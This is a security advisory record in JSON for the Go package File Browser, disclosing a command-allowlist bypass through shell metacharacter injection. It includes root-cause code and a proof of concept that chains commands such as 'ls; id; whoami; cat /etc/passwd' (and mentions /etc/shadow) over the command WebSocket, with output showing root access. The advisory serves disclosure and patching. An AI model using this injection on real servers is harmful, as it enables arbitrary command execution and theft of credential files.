{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.33.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54090"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T22:52:11Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "\u003e [!NOTE]\n\u003e **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We\u0027re publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.\n\u003e\n\u003e For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.\n\n## Summary\n\nWhen a shell interpreter is configured (e.g. `/bin/sh -c`), the command allowlist can be bypassed through shell metacharacters. The allowlist validates only the first token of user input, but the entire raw string is handed to the shell \u2014 semicolons, pipes, backticks, and `$()` all work to chain arbitrary commands after a permitted one.\n\nThis is a distinct issue from CVE-2025-52995 (regex partial matching, fixed in 2.33.10) and CVE-2025-52903 (GTFOBins-style subcommands). The `slices.Contains` fix does not prevent this bypass.\n\n## Affected Location\n\n- `runner/parser.go`, function `ParseCommand` (lines 10-25)\n- `http/commands.go`, function `commandsHandler` (lines 72-86)\n\n## Root Cause\n\n`ParseCommand` extracts the first token via `SplitCommandAndArgs` for the allowlist check, then passes the entire raw input to the shell:\n\n```go\nfunc ParseCommand(s *settings.Settings, raw string) (command []string, name string, err error) {\n    name, args, err := SplitCommandAndArgs(raw)\n    if len(s.Shell) == 0 || s.Shell[0] == \"\" {\n        command = append(command, name)\n        command = append(command, args...)\n    } else {\n        command = append(command, s.Shell...)\n        command = append(command, raw)   // full user input, metacharacters included\n    }\n    return command, name, nil\n}\n```\n\nIn `commandsHandler`:\n\n```go\nif !slices.Contains(d.user.Commands, name) {  // name = \"ls\", passes\n    // reject\n}\ncmd := exec.Command(command[0], command[1:]...)\n// actually executes: /bin/sh -c \"ls; id; cat /etc/shadow\"\n```\n\n`name` is `ls` \u2014 allowed. But `/bin/sh -c` interprets the rest.\n\n## PoC\n\nPrerequisites:\n- Command execution enabled (`--disable-exec=false`)\n- Shell configured to `/bin/sh -c`\n- User has Execute permission with an allowlist, e.g. `git,ls,cat`\n\nSteps:\n\n1. Log in, grab a JWT:\n\n```\nPOST /api/login\n{\"username\":\"admin\",\"password\":\"...\"}\n```\n\n2. Open a WebSocket to `/api/command/` with header `X-Auth: \u003cjwt\u003e`.\n\n3. Send:\n\n```\nls; id; whoami; cat /etc/passwd\n```\n\n4. All four commands execute and output is returned. Sending just `whoami` alone returns \"Command not allowed.\" \u2014 the allowlist is active but bypassable.\n\nOutput:\n\n```\nbin\netc\nhome\n...\n===BYPASS===\nuid=0(root) gid=0(root) groups=0(root),10(wheel)\nroot\nroot:x:0:0:root:/root:/bin/sh\n```\n\nTested against commit `d236f1c` (frontend v3.0.0) on the official Docker image `filebrowser/filebrowser:latest`.\n\n## Impact\n\nAny user with Execute permission and at least one allowed command can run arbitrary OS commands at the privilege level of the server process. In the default container this is root.",
  "id": "GHSA-8c9q-7855-wfxq",
  "modified": "2026-06-12T22:52:11Z",
  "published": "2026-06-12T22:52:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-8c9q-7855-wfxq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/issues/5199"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection"
}